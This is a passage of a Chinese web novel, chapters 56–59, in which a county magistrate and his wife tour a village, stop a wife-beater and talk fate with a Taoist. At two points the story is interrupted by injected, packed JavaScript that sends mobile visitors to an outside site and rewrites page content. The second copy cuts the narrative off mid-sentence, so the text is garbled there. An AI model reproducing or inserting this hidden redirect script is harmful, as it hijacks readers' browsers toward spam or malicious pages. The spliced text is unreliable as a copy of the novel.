不合适,是阿乐和阮清淮不合适,还是不合适说给自己听?崔息按下这个念头,与她继续走下去,与她说神都的牡丹。 “牡丹是国色,丰娘前两天还跟我说呢,这里居然没有牡丹……” 陆笙随着他的话说,神都的牡丹陆笙见过一次,在寺院里见的,那还是几十岁高龄的长寿牡丹,寺院里差专人养护,那年花开繁盛,据说轰动神都。 “那年我也在神都,不知夫人是何时看的?”崔息惊讶,人生的轨迹居然悄然交错过一次。 陆笙说了时间,他有些黯然。 “可惜只差一天。” “可惜什么,你身边拥挤,你我哪能相见呢?便是相见了又如何,不过是匆匆过客。” 崔息觉得她说得不对,说这是人生巧合,是缘分,每一次会面,哪怕无知觉的相会也值得珍惜。 “那就珍惜现在吧,现在我们是真相会了。”陆笙微笑。 崔息想回话,侧首时却发现她人已经奔出去好几步。 她指着不远处耕地的人说:“你看,真有曲辕犁!” 56. 第 56 章 崔息对曲辕犁并不陌生,反而没见过永平县的一些犁地农具。这里偏远以至于一部分人并不爱种地,种地的也依旧能瞧见些使用刀耕火种的村寨。 巡查之时他还遇到一种记录在书册,但从没听说过有人使用的耕作法。 此法是将树木的树皮破坏,如此树木将会凋零死亡,空出的土地便作为耕作区域,等到有余力再处理树木。 伐木需要斧头,制作一把斧头又需要石头或者金属,砍树也需要技术,这是一种偷懒与取中之法。 “看来云尘也见过曲辕犁。”陆笙从他的表情读不到惊讶。 崔息点点头,但他又没有陆笙的情绪那么强烈,“用曲辕犁竟让阿乐惊讶至此,为何?” “倒不是曲辕犁让人惊讶,是本来这里没有曲辕犁,现在有了让我惊讶。用这个犁意味着相同的时间内耕种的田地面积不同,用曲辕犁的耕地快,只是寻常农户哪有本事弄来这个犁,我猜都是谢家的。” 陆笙第一次对生产力工具的革新有这么大感触,从前的九键、全键手机到触摸屏再到更快的网络与直播的诞生,她都模模糊糊地被动接受着,今天站在这里,看着在自己眼里本应该普通的,甚至是略显落后的农耕工具,心中产生了巨大的震荡。 崔息点点头,很难得得叹一口气,两个人苦笑着对视。 陆笙的意思崔息一下就明白了,这更快的耕种虽然不是一定意味着开垦更多的土地,但这一次一定意味着谢家有更多的农产品。因为时间是有限的,甚至长工的月钱依旧维持不变,但耕完地长工就可以从事其他生产,如此积累,差异会越来越大。 若有多个实力相当的乡绅大族问题倒也不会如此严重,总会自己相帮自己的家族,人多力量大,可永平县的问题错综复杂。有时候每一步都要想一想,想的时候自己要治的问题也在变,根本容不得想。 “早知道那走货郎来时我就定些曲辕犁,但似乎也赶不上啊……” 陆笙一想,每一天已经无比繁忙,自己做的炭笔已经用了不知多少支,就是如此也总还有漏的事,错的事。 两个人互相安慰一番,事已至此,也没办法了,亡羊补牢吧。 把此事暂且放下,继续在村子里逛,陆笙发现这已经有桑基鱼塘的雏形。 陆笙问了一个正在犁地的妇人,她说这鱼现在就是靠天养。不过除了这里养,村里人弄些鲫鱼在稻田里养,稻花落的时候放水捉鱼,吃起来鲜甜得很。 她忽然想到崔息那几块空闲的地,一部分她直接交予了丰娘处置,完全没有耕种痕迹的且带着个水塘的地她暂且保留着。 本来她是想叫养羊的人家先把牛赶来,让牛吃去土地里的野草,牛吃完以后换羊吃,羊爱刨根,吃得干净。这一通折腾下来,这地肯定有不少牛粪、羊粪,此时找养鸡的来,把虫子吃一吃。如此一遍土地必定肥沃不少,就是不一定赶得上水稻耕作,现在桑基养鱼这个想法一出,陆笙觉得自己的野办法说不定真能试一试,不种稻,直接改养鱼。 看完情况往回走,靠近村正家的时候有一股烤鸡的香味在花香中异常明显。 到了一看,果然是葛聆在烤鸡,他坐在木墩子上,听到两个人的脚步声转过头打个招呼。 披头散发但是面目清晰的葛聆天然有一份世外超然得清澈气质,只是这样一个走在雪色之中能够被当成谪仙人的道士初相逢时竟然像野人。 而且他现在专心致志,眉头轻皱又全神贯注的模样应该是在解天象,怎么会是在烤鸡呢? 葛聆的手腕慢慢地转,炙烤的出的油滴在炭上,一片如嫩叶的焰火刹那生灭。 “不是吃鸡被抓了么?怎么还在吃?”陆笙扶额。 葛聆语气理所当然:“你们给村正的钱多了,够我烤这一次,就是再烤一次也不为过。” 崔息开口问:“明明可以逃脱,为什么要赖着不走?” 葛聆斜一眼崔息,那眼神极其鄙视,仿佛在看一个毫无道德的人。“我又不是骗子,跑什么,而且我知道会有好姐姐替我消灾化难。” “那你没算出来在这会变成……呃,不勤梳洗的模样么?”陆笙再看一眼这小子,很难想象他之前的状态。 葛聆目不转睛地盯着火候,转一转够火候的面以后才答:“算了呀,但这是命,有什么办法?” …… 陆笙有点无法理解以算命过活的人生,一切交给三枚铜钱也太违背自己。 “判断过的,算出来的卦就是我心里要做的事。”他再次凭空回答了陆笙。 陆笙被这两次凭空的回答震慑到了,心里颤颤落下一些灰,她虽然很怕葛聆回答也是算卦,“命”这个字令她难受,但她还是要问。 崔息拍拍陆笙的肩,一点点温度渗透来,陆笙稳定心神,她问:“那你又是怎么认出我的?” “那自然是画像,我师弟有你的画像,他画得可好了,得了你的神韵,又得了模样,我看过就能认出来。” “那你为何不直接来县衙寻我夫人,偏要待在此处?”崔息捉住他话里的信息。 葛聆把炭火拨开一点,转头笑道:“好大的官威,这会儿不怕村正听到了?探花郎。” 葛聆知道县乡之民对他这个钦天监监正没概念,但对县令可敏感得很,他此番必是来私访的,再插话他可不怕把他的事情闹腾黄,他见到高门子弟就烦! 崔息偃旗息鼓,陆笙想再问的时,葛聆却告饶。 “让我安心烤完吧,再一会村正就回来了,我饿!” 陆笙和崔息固然满腹疑问,但既然这位前监正如此抗议,那还是不去扰他,万一他破了身份那今天岂不是要无功而返? 他们沉默下来监正却开口了:“卦象说姐姐心境不稳,只有在这里相遇我的话才能落下,否则只会像一阵风,匆匆来,匆匆过。” 陆笙觉得有点恐怖,她从不信冥冥之中的命,此时听他这么说感觉有一种恶心上涌。 “是我此时马后炮的读卦判断,我算了不准的卦数不胜数。巧合罢了,姐姐不要难受。” 葛聆看出了陆笙强烈的抗拒,算卦不是事事准,这一次他也很惊讶的,也有点愧疚。 - 待村正一来,桌面上就开始摆菜,那一只烤鸡被葛聆吃下了大半,但好心分了陆笙一只腿,崔息什么也没得到。 吃饭时陆笙问村正,他的家人呢? “我的妻儿都去州府了,今年末尾再回来,但愿永平县真能好起来。” 她又问些曲辕犁的事,村正说是谢家的,但不给租,他家地多,现在自个儿还用不及呢! 陆笙默然,这时机怎么就卡这么准呢?又想到那个走货郎,会不会谢家与他们有更深的合作,搞不好那曲辕犁就是他们给提供的,否则又怎会如此之快?毕竟当年留下的曲辕犁估计木头都叫虫蛀烂了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221415|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人不多的饭量与勤勤恳恳不停吃的葛聆形成反差。 村正想盛第二碗饭,揭开锅,里面的锅巴都没了!他心想这馋嘴小道士真是什么半仙么?怎么吃这么多还是饿! 几人吃完葛聆拉拉陆笙的衣袖说:“姐姐,我有话跟你说,你能不叫他走开些?” 崔息瞥这位监正一眼。 “看什么看,就是要避着你说!” “我离不了夫人半步。” “你这个公子哥……” 陆笙眼瞧着他们要吵起来,两个人说话声引得收拾的村正探头,怕他们俩弄坏自己的家当。 “是要讲些阮清淮的事吧?我同你去。”说完她又安抚崔息,“云尘不必惊慌,我带了刀。” “吓,好姐姐你可真是文武双全的妙人,要不随我去云游四方算了,何必在这里蹉跎!” 这话是瞪着崔息说的,但崔息此刻不理他,夫人有心安抚,他也不同这人不依不饶。 两人走出村正家,一直走到一处僻静的竹林边葛聆才开口。 “好姐姐,你缺曲辕犁对吗?我师弟托我给你送了,估摸着时间你回县衙已经收到。”说完又用非常不好意思地语气说,“其实还托我直接给你带了一个,但是我忘带钱财……” “你把它卖了?!”陆笙忍不住皱眉惊诧。 “不不不,我藏好了,要是卖了我也不至于那副模样。” “那这么远的路你是怎么过来的?”陆笙不由好奇,上京到此少说也要赶路一个月。 “把能当的都当了,拂尘、玉冠、玉簪……” 他细细地掰扯,陆笙反应过来,估计是要跟自己借钱吧,不好意思当着崔息的面开口。 “瞧我在说什么。好姐姐,你的心地好,我的话都能落下来,所以忍不住多说了一点。实际上我是要说我师弟在上京为你留了宅院和钱,若你忍受不住此间生活,你直接去上京吧!” 陆笙惊骇,曲辕犁的事她已经很惊讶,但暂且可以用他卖火药一事来搪塞,但上京的宅院和钱又从何讲起,他们之间没有相欠。 “怪不得。”葛聆看陆笙的神情冒出如此一句。 “那这些事情他为什么不跟我亲自说?他也到过此地。”陆笙摇摇头。 “师弟说他没有办法叫你生出喜欢。人世间的爱恨长久,没有爱,那便恨。我不知道你现在有没有恨他,但恐怕没有。”葛聆当初觉得阮清淮是疯了,但现在瞧着,师弟也舍不得叫陆笙真的恨他。 陆笙想到他那时那一句“要问我的罪么”,那时候她没有想,为什么自己不问他反倒显现出一丝绝望。 “这些话是阮清淮要你同我说的?”陆笙忽然反应过来,会不会这又是什么人心手段。 “不,师弟只是希望你能记得他,不要忘了他。”葛聆怅然。 但没怅然几秒他笑嘻嘻地说:“这些杂事我本不该说的,但是师门情谊,多嘴几句。我一点也没有要你委身于他的意思,他喜欢要给你要表达都是他自己的事,就算没了命也是他自己的事,人生如此。” “那你来此又是为何?” “求取所谓真经。” “啊?”陆笙没想到会有这么个答案,这算怎么回事? 她把脑海中的信息归纳,想问下一个问题时凄惨哀嚎声响彻村庄,是一个女人的声音。 陆笙眼尖,注意到声音出现的时候葛聆痛苦地捂了捂眼睛。 57. 第 57 章 “贱人,贱人,打死你这个贱人!!” “晦气东西,扫把星,贱人!!” “犁地也不会,不如买头牛,贱人,我打死你!” 男人眦目欲裂,手里的竹子速快声急,一抽就是一条血红印迹,女人背上已累累伤痕,抽竹子的男人却还不收敛,越抽越狠。 人好似兽一般疯狂,脸也通红,喉咙嘶哑,涎水挂在嘴边。 女人被打得有些麻木,除了躲一躲,连叫喊都不叫喊。 村正这时候不敢过去,这男人自从爹娘走了后就跟疯了似得,稍有不顺心就对自己的妻打骂,邻里乡亲都劝过多少回。牛婶住他家旁边,她常来劝,可这人不分青红皂白连牛婶也打,简直畜生! 崔息直接过去一把抓住了将要落下的细竹子,男人想使劲把竹子抽出来,但一用力人反倒被石头绊倒在地。 牛婶和村正赶紧把女人架走,男人在地上破口大骂,话语一声比一声肮脏。 “村正,这样的人不依法送办么?”崔息冷脸问道。 钱大郎一看这位神情如此有些发抖,好盛的威风。 他老实道:“客商,非是我等不愿送,你就说我们齐心协力抓哪去啊?县衙吗?谁理我们!状子要钱要人,无处求人啊!” “不,不去县衙,不去……” “还有就是,您瞧,她妻不愿……”这话钱大郎越说越小声,虽然她说了,但由自己这个村正再复述简直就是推诿的话,他要脸,不敢高声。 男人在旁边哈哈大笑,嘴里嘟囔着:“让你们多管闲事,多管闲事,多管闲事!”词句已经重复,他还恍若未闻似得,起身抽了旁边的刀就要去劈砍崔息。 钱大郎脸已发白,冷汗直冒,双手颤颤不敢动。 崔息一看便知有异,但身体还未避开就听到一声骨头裂开的声音。那声音清脆,叫人颤栗。于是顷刻间柴刀落地,再响起的是男人哭天喊地的声音。 崔息转头一看,是夫人!她拿了根木柴砸在男人的小臂上,那段小臂跟树枝折断似的。 “被人推了一把,不当心……”陆笙淡淡地寻了个不着边的借口。 葛聆在旁边帮衬:“真是对不住好姐姐,我绊倒了石头才推的你呀!” 钱大郎嘴角抖动,不愧是城里来的客商,脸皮真厚。但也解气,真解气!平日里不敢惹这个纪家幺儿,都想等着田耕了以后再处理,没想到客商误打误撞,天意,难道真是天意? “是天意。”葛聆微笑着推波助澜一把。 此时那纪家的幺儿忽然从柴堆里抽出一把斧子,斧子已有些生锈的痕迹,锋刃斑驳,平日砍柴嫌钝,但劈砍在人身上却不敢想! 崔息手臂一挥,细竹把他手腕抽出一道血,他吃痛间斧子也掉了下去。 陆笙气愤难当真想扇他一巴掌,但崔息是县令一事以后也瞒不住,还是应交予律法裁决,凭威慑人的事情不好弄成纯粹的泄愤之举。 钱大郎找人把这纪十三捆住,但此时村里也没有大夫,就让他痛着。 反应过来的纪十三求饶:“村正,村正!快找大夫救救我,痛死我了,救救我……呜!”等来的却是邻里的一片布,扭成条系在他脸上,吐也吐不出,只能发出呜呜声。 绑的人曾被这个纪十三威胁过烧他家的屋子,所以他绑了绳还不算,又给了他七八脚。 在外头的崔息和钱大郎商议着写状子的事,他们说也曾托一位本村读书人沈隶写状子,奈何他不大会,说是学了以后就来。 崔息点点头,请他们去寻纸笔,寻来自己写。钱大郎和几个村民听了以后齐声道谢,有些人红着眼睛,想来这纪十三为祸已久。 定了状子的事,村民都积极地要一块付这个钱,有钱的多出些,没钱的少出些,总之要把这人送去办了! 平日里都被他这个疯子吓过,他妻被打成这样也就牛婶敢救,大家都不敢,毕竟妻儿老小哪一个落在这人手里都是噩梦。 说到牛婶,钱大郎说:“牛婶已经带了人去上土草药。” 陆笙问被打女人的姓名,钱大郎出口的话让她心里一震。 “这女娃姓兰,名椒。据说以前在大户人家做工呢,命苦啊!纪家这对老夫妻是骗了这个媳妇,但前不久屋子里烧炭取暖,不小心吃了毒,双双毙命。” 钱大郎边说边摇头,这事以前觉得就是意外,毕竟炭火吃毒这事冬天哪个村没有?但现在一看却像命里定下的。 崔息注意到陆笙的变化问她:“怎么了?” “没事,可能是巧合,我们以前雇的婢子也叫这个名字,兰椒。” 陆笙大脑中出现了一瞬的空白,当初在厨间听到阿椒的这个名字时还忍不住夸赞了几句,说她名字好听…… 葛聆碰碰陆笙的手臂递给她一颗桂花糖说:“姐姐,吃糖。” 陆笙接过来向葛聆道谢,但糖放在手心没有吃,她跟崔息耳语几句就离开了,她要去看看到底是不是阿椒。 走到隔壁牛婶家,牛婶听到响动直接被吓得神色慌张,她眼里满是惊恐,对陆笙防备甚深的模样。 “我是来看兰椒娘子的,牛婶子不要怕,有什么我能帮忙的吗?”陆笙没有贸然靠近,站在稍远一点的地方询问。 牛婶想挥手拒绝,但听到阿椒说话,她说:“婶子,夫人是好……人……” 说这句话情绪像爬坡似得,只是几个字,但是“夫人”呼唤出记忆里陆笙的眼睛与脸庞,“好”字出口心里满溢的委屈,像经冬的坚冰稍稍消融,被水载着不顾一切得往下冲,好的坏的全部破坏,是一股蛮力劈开了积蓄已满的伤心坝,倾泻,倾泻,倾泻。 阿椒觉得痛苦,居然要被夫人看到自己过成这样。 她还记得自己要出嫁的时候对阿灵说叫她也找个好夫家,这样不用成天干活,当时夫人站在门口。 现在夫人会怎么说自己,她不知道,但是随她骂,都是她活该…… “吃一颗糖吧。” 陆笙把自己手里的桂花糖给阿椒,洗了面孔后她瘦得脱形,但她就是阿椒,神采灵动的那个阿椒。 阿椒的眼泪滚烫,一颗又一颗砸在陆笙的手心,她伸出手把糖塞到嘴里,嘴巴却闭合不上,只能用手背堵住,甜的,比几个月前还要甜。 牛婶捂着脸呜呜地哭,陆笙没有糖了,只好拍拍她的背,说这件事会好好解决的,会有人替大家写状子。 眼泪流得多了情绪又开始麻木,阿椒反应过来时自己已经洗过澡,夫人在帮她梳头发。 她突然有一种强烈的仿佛如雷传来的情绪,她握住陆笙的手问:“求求您,求求您帮帮我,我要同这个畜生分开,分开!!” 陆笙允诺她,但得到允诺的阿椒又哭了,泪水从指缝里流出来。 她还想去府邸里做工,但她这样晦气的人夫人大概不会要的。 牛婶发出“啊……啊……”的声音,陆笙这才惊觉,原来她是个哑巴,但可能不是天生的,因为她的嘴里空空如也。 阿椒听到声音握住牛婶的手,她怎么好独自离开,牛婶还在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆笙点头,又问阿椒如何想的,再问牛婶全名。 “我想帮牛婶把地给种完,她对我有救命之恩。至于她全名,我也不晓得,不知道是哪个字,知道怎么念但是不知怎么写,怕弄错了。” 阿椒给陆笙解释,陆笙掏出炭笔让牛婶写在自己的手心。 她写得很慢,先是一撇,但撇得太大,牛这个字的一撇不需要那么大,陆笙没有打断,她继续写,炭笔画出一横,这一横相对于撇来说又太短,极不合理。 她继续写,写出的却不是“牛”而是“周”。 她叫周音。 “大音希声,音娘子的名字很好听。”陆笙夸赞,又觉得自己触及人家的伤心事,抿一抿唇说了声“抱歉”。 周音摆摆手,她的话经由阿椒传递出来。 “多谢夫人,我也喜欢我的名字。” 此时屋外忽然有男人的声音传过来,阿椒抖了抖。 陆笙安抚得拍拍她的背,人站起来走出去,发现是一个白净面庞的男子,他扛着一只火腿,就这么扛着,看到陆笙时露出几分局促。 “我是来写状子的,我是……” 男子没说完,陆笙已经有了答案,他应该是送珞云火腿的东街沈郎君。 “沈郎君去村正家吧,已有人在写状子。” 沈隶虽然诧异眼前的陌生娘子是如何知晓自己姓名的,但也没追问,施以一礼便离开。 58. 第 58 章 沈隶到村正家里的时候看到两个不是村里的陌生人,他有些诧异,其中一个有些眼熟,似乎遥遥望到过一眼。也可能是他记错了,杨珞云说他长久闭门读书读得有点痴傻。 这几天没日夜地研究状子怎么写,出门时被人提及的乌青的眼圈也昭示了他的状态不佳。 钱大郎看到沈隶来了,立刻对他介绍:“这是远方来的客商,恰好会写状子,沈郎君你瞧瞧,客商刚写完的。” 沈隶点头问好,又问起旁边的一位。 “这……这是一位修为颇深的道长。” 钱大郎为葛聆留了一些颜面,虽然葛聆并不介意,叫他疯子也算名副其实,钦天监里头好些人也这么叫他。 屋内二人既已熟悉,他直接拿起状纸。第一眼看去光是字就叫沈隶惭愧,这位客商一手好字,甚至用“好”形容都有些低,应当用“妙”,转折处是如何写成这般模样的,没有妙手根本写不出来。 葛聆瞥一眼沈隶,听说他是读书人,这读书人是老实的,人情上就差了些,直接拿了就看,不过崔探花也没做声。想到这里他掐自己一下,这是在大明宫里养的什么官病,人未交谈,气势地位做派先评判一番,罪过,罪过啊! 崔息耐心地等他看完,一张诉状,不久。 可沈隶却一字一句地检查过去,异常认真,花了一炷香才看完。 “客商真是好手迹,诉状也写得精简准确,比我看的那几张还要好上不少,实在厉害!” 沈隶自知状态不佳,所以对着状纸一字又一字地看,看完再通读一遍,发现无一错字且条清理晰,要是他来写断没有如此水平。 “恰好为人写过几次诉状。”崔息随便捉了个理由搪塞,这是他从陆笙身上学到的,现在用得愈发得心应手。 葛聆撇撇嘴,仿佛看到什么嫌弃的东西。 诉状写完,四个人围在一起讨论什么时候将那罪人送往官府。 钱大郎支支吾吾说自己可不行,这地还要耕种。他虽拿钱替客商指路,但也就这一天,明天开始他必须得好好耕种,否则误了时间,秋收就是一场空,那自己就得喝一年西北风。 “那便我来押他去。”沈隶把这件事揽在自己身上,虽然他不曾习武,但这事总要人做。 葛聆指了指他放在桌上的火腿问:“这东西莫不是郎君的兵器?” “道长说笑了,这是为人写家书攒的火腿,是拿来吃的。” “怎么吃?”葛聆一听可以吃,眼睛稍微睁大一些。 沈隶努力回想一下杨珞云的话,她有详细地描述县令夫人做的菜和对火腿的一番说法。 “这火腿从上往下分火爪、火踵、上方、中方、滴油。中方、上方精肉多一些,骨头较少,可以做蜜汁火方。剩下的部分做炖菜,金银蹄、老鸭煲都好吃,或拿着炖甲鱼,都别有一番滋味,很是丰腴鲜美。” 其实他也不知道这火腿分这么多部分,都是重复杨珞云的转述,给他火腿的人也不管这个叫火腿,只说盐腿,因为就是拿井盐腌的。 葛聆心想这沈隶看起来是个读书人,对饮食竟然有这样的研究,直接问:“那这条火腿可是有谁进货?是食店吗?能不能让我尝一尝?” 沈隶对他连连摆手:“不可不可,这是我要送人的。” 在一旁的崔息听着熟悉的说辞,舌尖滋味的记忆登临重返。没想到一条火腿还能把人和人串联起来,这位沈郎君他已经知道是谁。 “某有一事想问沈郎君,这永平县城里有多少书塾?” 看眼前这位如松如竹的君子如此问沈隶叹了口气。 他实话讲:“县城里的书塾有四五家,不敢相瞒,沈某就是书塾的先生,教一些孩子开蒙。适合我去读的书塾却没有,念书要去州府,至今还未凑齐束脩。” “本地乡绅不曾互助建立学堂么?” “哼,商人短视。”沈隶知道乡绅的学都是州府求,但是至今没有高中之人,明经也不曾考取。说完立刻补一句“哦……不是,不是说您,是说我们永平县的奸商。” 钱大郎说:“我们村也没有开蒙的书塾,要是那县令能给派一个就好了,读书认字,总比种地有盼头,读书不成识了字还能做做生意,不至于出去两眼一抹黑。”从前是请沈隶,但人越来越少,几个人的束脩根本不够沈隶过活,所以书塾也就作罢。 崔息点点头,农耕、商业恢复了书塾学堂也要恢复,看到沈隶他顺便问一问真实情况,免得到时盲目。 葛聆在旁边听,这些事情掰扯几句他的魂好像就飞出去了,左耳朵进右耳朵出,直到陆笙回来才恢复一些。 “姐姐,你们下一程去哪里?” 陆笙说:“直接回永平。” “如此甚好!那我们可以一起走了!”沈隶大松一口气。 叫他一个人去带着那穷凶极恶村霸他还真是有些发怵,刚才是不得不为之,现在有人一起简直如蒙大赦。 葛聆沉思一番说:“那我也和你一起走,我从永平的另一条河渡水向南。” “你盘缠还够么?”陆笙忽然记起来他一贫如洗的事,但出口又觉问早了,应该等收到曲辕犁再说。 葛聆恍然:“姐姐不说我都忘了!” 陆笙无奈,这位比崔息还公子哥,出门根本不带钱。 “等你收到那些东西再借我如何?”葛聆在人情上纯熟地令陆笙意外。 “嗯,一言为定。” 说罢大家开始准备回程路,出村时天色阴郁,那村霸纪十三哎哟哎哟地不肯走,陆笙说不走就划一道口子,等你全身划满一千道,跳也跳过去。 又说了些走镖时听闻的各地古刑,说不跟着走就把他放在半路捆在树上,这样老虎豹子就来掏心窝和肚皮,还没死就能看到自己的一部分在虎豹豺狼的口中,又痛又怕死后还要堕入无间地狱。 葛聆在一旁搓搓手臂,姐姐真是菩萨心肠霹雳手段,这天阴阴的配上她的话简直是要冒冷汗。沈隶和他对视一眼,彼此都在眼中看到了一丝恐惧。 唯独崔息不同,他只觉得胸口发闷。 路虽然走走停停,但几人还是在子夜之前进了城,进城后寻了个土大夫为纪十三治病。 大夫只是看看就摆手说好不了,只能搭个板子,以后就别着手过活。 葛聆发现沈隶眼中有一丝不忍,他道:“没什么好可惜的,恶人自有恶果。” 沈隶说:“那好人呢?好人为什么也有恶果?”他想到了杨珞云,心中不免难过。 “你又没替人过活一辈子,知道什么是人家的恶果?”葛聆摇摇头。 “那道长 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葛聆佩服,这时候还这么稳定,估计这纪十三命也是没了,全村告状外加袭杀县令蔑视王法。嗯,对一个死人确实可以耐心些,他心里的褶皱被自己推测出的结果熨平。 忙活完几人甚感疲惫,沈隶最先熬不住告退,剩下三人先把纪十三扔进牢房也去休憩。 回到府里时,接他们的沈莲丰对葛聆的到来吓了一跳。 她是认识葛聆的,自从崔娘子去世福圣公主常常求道,佛道俱有,有时还会问崔娘子在那一边如何,叫算卦的说法的都委婉地让她去建议公主就医。 葛聆是葛文的兄弟,葛文为公主算卦他就在一旁,据说他天赋异禀。沈莲丰见过几次,当时他才十岁出头,但已有些仙风道骨的模样。 沈莲丰安排葛聆住客房,娘子和阿郎都去往退休居。 陆笙假寐片刻,推轴时到外面的光从屋子的缝隙里透进来,仿佛为窗与门镶上一条金边。 她轻轻呼唤一声:“云尘?” 可屋里寂静,只有屋外的鸟雀声。陆笙捂着嘴打了个哈欠,又努力晃晃脑袋保持清醒,接着重新穿了衣服爬梯下去。 她要去和葛聆见面,因为他说自己耽搁不得马上要走。 陆笙现在对他已经没有什么怀疑,因为那个被他藏好的曲辕犁已经见过,质量上乘,估摸着今天就要运到府里来。 即便如此陆笙本来还是要拒绝的,跟他说钱直接找管事领钱就好,不必非要说几句,可葛聆坚持,甚至陆笙不答应就要有哭的架势。 这副模样令人发蒙,谁能想到钦天监的监正为什么会是这样不可预测的性格,可以装疯卖傻又敢死缠烂打,什么招都用。陆笙都觉得这人当不成监正,也能当个江湖骗子,而且一定会过得很滋润。 来到约定地点,陆笙看他眼皮半睁不睁,恨不得拿根棍顶上的模样有点想笑。这一刻没有任何词可以表达这份心情,这事荒谬得令她发笑,以至于困倦都被这份心情取代。 “葛聆,你真的有事?” 陆笙念他名字的时候恨不得牙齿磋碾,葛聆很确定,如果没事他或许要被暴打一顿。 他记得是有大事的,但困得想不起来,方才不应该有那一瞬的松懈,抓住的东西怎么全如游鱼脱网而出不见踪影…… 59. 第 59 章 拳头近在眼前,葛聆终于找到言语线索。 “云水僧是你的师父么?” 拳头停在他的山根前,葛聆长舒一口气。 陆笙放下拳头问:“遇到修行好的僧人不都得叫师父?” 葛聆听她这么说大笑:“绝对没错,姐姐,就是你。” “何以见得?”陆笙瞥他一眼,想听听他是怎么猜出来的。 “这句话见得。”原来试探更在试探之后。 葛聆说完又剖些真实,他道:“无端猜测,直觉而已。我师父讲云水僧徒弟是个镖师,从南到北,有缘自会相遇。” 陆笙听他这个说法想起来,师父曾同她说过一件事,那便是他与一位坤道有过约定,两人没分的胜负要徒弟来分。 但二人的约定实在是随意,甚至所谓胜负也只是随口对谈几句,两人互相留下的线索也模糊异常。 譬如坤道这边是说自己的徒弟年纪不大,但常年囿于一处,陆笙听完直接抛之脑后,千山万仞大江大河的,哪碰得到?谁能想如今是真遇上了坤道的徒弟。 不过身为徒弟道尚未修,却凭空多出一个胜负要分,而且还不知两个人说的是什么胜负。 “我认输。”陆笙举起手,认得很干脆。 葛聆眼睛里的困意慢慢消失,他解释:“我不是来寻胜负的,我只是想问姐姐,你在救人时不觉得这是无用功么?” “无用功?不会,怎么会是无用功呢?”这事用“无用功”来形容或许是经过思考的,但在陆笙这里全靠直觉,没有想过。 “灵椒性情浮躁,一切始于她的无端轻信与贪图享乐。这样的开始太多,你无法一一尽除,直到如此后你还是会救吗?”葛聆紧紧盯着陆笙的眼睛,似乎不容她说半句谎话。 “嗯,当然救啊。”陆笙点点头。 “好。再请问姐姐,云水僧说有时人自有因果,横加插手不过是无用挣扎,你又是如何分辨的呢?” “我无法分辨。”陆笙承认。 “那兜兜转转对方还是落回你救之前的因果,这样是否意为姐姐只是满足了自己所想而横加干涉了对方的因果呢?” 陆笙的大脑开始转起来,缓慢地。 “这件事我并不认同师父的说法,或许另有机缘,在踏入所谓重复的因果之前中间的时段人的经历还是有变化的,结果相同但过程不同。最重要的是我们并神仙,如何要假设看到了因果,看到了始终?” “姐姐不是重复始终的那个人,自然无法理解,或许……被救者还会怨恨救人者,难道这也不是满足自己的拯救的欲望满足自己的良心么?” 陆笙感觉他另有所指,忽然灵光一现,想到葛聆那样捂住自己的眼睛,他是不是经过些什么,以至于这次没有说服自己救人,但自己的良心却饱受折磨。 葛聆给陆笙的感觉似乎在遵从了什么规则,在这个规则里逐渐地丢失自我丢失感情。 只是自我与感情在他的丢失中倍感恐惧,于是不断自保以求完全。 “如果那时不想得救,她就不会捉住我的手,而且人是无法抛弃天性而活的。”陆笙缓缓地说道,说完又问葛聆:“你问了我这么多,轮到我问你,你为什么要离开,不,是逃出大明宫?” “……保全我自己,也不想再测算了。”葛聆怅然叹息。 “你不施以援手是把自己当做不为尧存不为桀亡的天道,但痛苦的才是你自己,所以照此看来你其实也没有保全自己,不是么?”陆笙拔一根野草,断面散发出草本的苦涩与清香。 葛聆听陆笙切住要点,双手紧握。他曾登楼于都城,看着脚下的浮生万千与高楼宫阙,只觉一切毫无意义。 人与人之间是轻而易举的“为我”,又因“为我”而不断产生爱恨纠葛,他厌倦了这样的世间觉得毫无新鲜。 再加上他手中的卦,万象落在此间,似乎毫无秘密。 他之前欺骗了陆笙,其实他可以算得很准,准到令人对未来绝望,包括他自己,有时他会故意漏算一些。 这说不上快乐,只能说痛苦,因为迄今为止他还没有避开过一次卦象,既定的命运落在自己身上,也落在别人身上。 可偏偏自己的心里又有一种迫切,一种出乎于本身存在的迫切,他想保全那一点点自我的模样,拼命保全。 此番所谓求取“真经”是为破除这一死循环,恩师说破立之后才有新的图景,而这片土地的道理他遍览了。 “姐姐,我师父说天下聪慧者万千,都从不同的道路出发。从前她以为道是一样的,后来发现人各有其道,甚至从前人求的道和我们也不同。我不明白师父的话,每个人不同已然包含了时代不同,为什么还要特地加一个时间。” 这是葛聆不明白的地方,本不该说,但陆笙的话说完,他就有了信任。原以为陆笙也会不明白,可她在沉吟,似乎在纠结如何同自己解释。 葛聆期待她会说出什么惊天之语,可她开口说的却是“你为什么不往北边走?” “北边又开始不太平。”具体的葛聆也未听闻,只知道出发时都说不太平。 陆笙心里一沉。 葛聆精神松懈下来,一般话点到这里有意义的部分就结束,他也已经有所收获,可以无悔南下。 “要不试试种地吧。”陆笙忽然说。 “什么?”葛聆以为陆笙在说胡话。 陆笙却自有道理地说:“天道蕴含于此不是么?” 这句话对他来说带着一种戏谑,劝官做农,多少农要读书要做官,难不成这是逆道而行? 不,或许不是…… 葛聆皱起的眉毛一点点平复,想法开始在心中凝起,只是此时还没有清晰面目。 “你师父不是说人各有道,何必推己及人呢?” “你也会算卦?”葛聆疑惑。 